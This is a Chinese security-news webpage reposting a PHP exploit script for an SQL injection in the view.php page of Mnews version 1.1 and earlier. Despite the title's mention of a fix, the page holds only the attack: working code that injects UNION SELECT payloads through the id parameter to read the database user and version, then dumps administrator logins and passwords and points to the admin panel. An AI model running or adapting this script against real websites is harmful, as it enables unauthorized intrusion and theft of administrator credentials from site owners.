当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

Mnews = 1.1 (view.php) SQL注射及修复

时间:2013/4/19 12:09:00 作者:平凡之路 来源:xuhantao.com 浏览:

<?php
/*
# 标题: Mnews <= 1.1 SQL Injection
# 下载地址:
# 影响版本: 1.1
# 测试系统 GNU/Linux,Windows 7 Ultimate
 
示例
$ php mnews.php
 
*/
 
error_reporting(E_ERROR);
set_time_limit(0);
@ini_set("default_socket_timeout", 30);
 
function hex($string){
    $hex=''; // PHP 'Dim' =]
    for ($i=0; $i < strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return '0x'.$hex;
}
 
 
echo "\nMnews <= 1.1 SQL Injection exploit\n";
echo "Discovered and written by WhiteCollarGroup\n";
echo " - whitecollar_group@hotmail.com\n\n";
 
if($argc!=2) {
    echo "Usage: \n";
    echo "php $argv[0] <target url>\n";
    echo "Example:\n";
    echo "php $argv[0] \n";
    exit;
}
 
$target = $argv[1];
if(substr($target, (strlen($target)-1))!="/") {
    $target .= "/";
}
$inject = $target . "view.php?id=-0'%20";
 
$token = uniqid();
$token_hex = hex($token);
 
echo "[*] Trying to get informations...\n";
$infos = file_get_contents($inject.urlencode("union all select 1,concat(".$token_hex.", user(), ".$token_hex.", version(), ".$token_hex."),3,4,5-- "));
$infos_r = array();
preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
$user = $infos_r[1][0];
$version = $infos_r[2][0];
if($user) {
    echo "[*] MySQL version: $version\n";
    echo "[*] MySQL user: $user\n";
} else {
    echo "[-] Error while getting informations.\n";
}
 
echo "[*] Getting users...\n";
$i = 0;
while(true) {
    $dados_r = array();
    $dados = file_get_contents($inject.urlencode("union all select 1,concat(".$token_hex.", login, ".$token_hex.", senha, ".$token_hex."),3,4,5 from admin limit $i,1-- "));
    preg_match_all("/$token(.*)$token(.*)$token/", $dados, $dados_r);
    $login = $dados_r[1][0];
    $senha = $dados_r[2][0];
    if(($login) AND ($senha)) {
        echo "-+-\n";
        echo "User: $login\n";
        echo "Pass: $senha\n";
    } else {
        break;
    }
    $i++;
}
 
echo "-+-+-\n";
if($i!=0) {
    echo "[!] Admin login: {$target}gerencia/\n";
} else {
    echo "[-] Exploit failed. Make sure that's server is using a valid version of Mnews without Apache mod_security.\nWe're sorry.";
}
echo "\n"; ,涛涛电脑知识网,涛涛电脑知识网

相关文章
  • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1